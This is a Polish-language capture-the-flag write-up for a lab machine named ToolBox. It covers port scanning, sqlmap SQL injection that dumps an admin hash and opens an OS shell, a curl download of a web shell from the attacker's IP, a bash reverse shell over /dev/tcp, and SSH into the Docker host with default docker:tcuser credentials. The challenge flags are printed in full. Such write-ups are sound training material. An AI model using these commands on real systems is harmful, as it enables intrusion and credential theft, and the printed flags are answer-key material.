ToolBox - 23.09.2021
NMap
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)
| 256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)
|_ 256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: MegaLogistics
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after: 2021-02-17T17:45:56
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 8m15s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-09-23T10:26:06
|_ start_date: N/A
FeroxBuster
403 9l 28w 278c https://10.10.10.236/.hta
403 9l 28w 278c https://10.10.10.236/.htaccess
403 9l 28w 278c https://10.10.10.236/.htpasswd
403 9l 28w 278c https://10.10.10.236/.hta.html
403 9l 28w 278c https://10.10.10.236/.htaccess.html
403 9l 28w 278c https://10.10.10.236/.htpasswd.html
200 398l 1251w 18491c https://10.10.10.236/about.html
200 251l 764w 11609c https://10.10.10.236/blog.html
200 259l 622w 10334c https://10.10.10.236/contact.html
301 9l 28w 312c https://10.10.10.236/css
301 9l 28w 314c https://10.10.10.236/fonts
301 9l 28w 315c https://10.10.10.236/images
200 521l 1544w 22357c https://10.10.10.236/index.html
301 9l 28w 311c https://10.10.10.236/js
200 381l 1079w 16188c https://10.10.10.236/industries.html
403 9l 28w 278c https://10.10.10.236/server-status
200 315l 863w 13264c https://10.10.10.236/services.html
Wappalyzer
Strona główna
Admin login page
SQLMAP z BurpSuite
sqlmap -r admin.req --batch --level 5 --risk 3 -p 'username,password' --proxy="http://127.0.0.1:8080" --force-ssl
--dbs
available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public
--tables -D public
Database: public
[1 table]
+-------+
| users |
+-------+
--tables -D public --dump
Database: public
Table: users
[1 entry]
+----------------------------------+----------+
| password | username |
+----------------------------------+----------+
| 4a100a85cb5ca3616dcf137918550815 | admin |
+----------------------------------+----------+
Crackstation nie miało tego hasha w bazie, hashcat oraz john nie dały rady tego złamać
Próba uzyskania shella przy pomocy –os-shell w sqlmap KONIECZNIE Z PARAMETRAMI
sqlmap -r admin.req --batch --level 5 --risk 3 -p 'username,password' --proxy="http://127.0.0.1:8080" --force-ssl --os-shell --flush-session --time-sec=20
Z poziomu tego shella da się odczytać flagę
user.txt
f0183e44378ea9774433e2ca6ac78c6a
sqlmap -r admin.req --batch --level 5 --risk 3 -p 'username,password' --proxy="http://127.0.0.1:8080" --force-ssl --os-shell --flush-session --time-sec=20
curl http://10.10.14.7/shell.php -o /var/www/html/shell.php
chmod 755 /var/www/html/shell.php
config_psql.php
<?php
try {
$conn = pg_connect("host=localhost port=5432 dbname=test user=postgres password=password");
}
catch ( exception $e ) {
echo $e->getMessage();
}
?>
Potencjalne ciekawe pliki
╔══════════╣ Backup files (limited 100)
-rwxr-xr-x 1 root root 916 Feb 18 2020 /var/www/html/fonts/flaticon/backup.txt
-rw-r--r-- 1 root root 6716 Feb 11 2020 /usr/share/postgresql/11/man/man1/pg_basebackup.1.gz
-rwxr-xr-x 1 root root 126016 Feb 11 2020 /usr/lib/postgresql/11/bin/pg_basebackup
-rw-r--r-- 1 root root 41956 Feb 11 2020 /usr/lib/postgresql/11/lib/bitcode/postgres/replication/basebackup.bc
uzyskanie uzytkownika postgres z poprzedniego shella
Za dużo czasu zmarnowane na enumeracje z poziomu www-data. Trzeba było po prostu zrobić shella z tamtego poziomu.
Z tamtego shella wystarczyło:
bash -c 'bash -i >& /dev/tcp/10.10.14.7/9001 0>&1'
Wystarczyło dodać bash -c ''
, aby polecenie wykonało się poprawnie.
Privilege Escalation
Próba enumeracji przez Deepce niczego konkretnego nie wykazała.
Jednak ip maszyny jest dziwne.
ping,nc,netcat,ncat adresu 172.17.0.1
- żadna z tych komend nie działa w systemie
W tym momencie poczułem, że doszedłem do ślepego zaułku. Nie miałem pomysłu co dalej, spojrzałem więc na rozwiązania. Okazało się, że warto jeszcze sprawdzić ssh do adresu 172.17.0.1
docker:tcuser
python3 -c 'import pty; pty.spawn("/bin/bash")'
ssh docker@172.17.0.1 -tt
root@box:/# cat /etc/os-release
NAME=Boot2Docker
VERSION=19.03.5
ID=boot2docker
ID_LIKE=tcl
VERSION_ID=19.03.5
PRETTY_NAME="Boot2Docker 19.03.5 (TCL 10.1)"
ANSI_COLOR="1;34"
HOME_URL="https://github.com/boot2docker/boot2docker"
SUPPORT_URL="https://blog.docker.com/2016/11/introducing-docker-community-directory-docker-community-slack/"
BUG_REPORT_URL="https://github.com/boot2docker/boot2docker/issues"
root.txt
cc9a0b76ac17f8f475250738b96261b3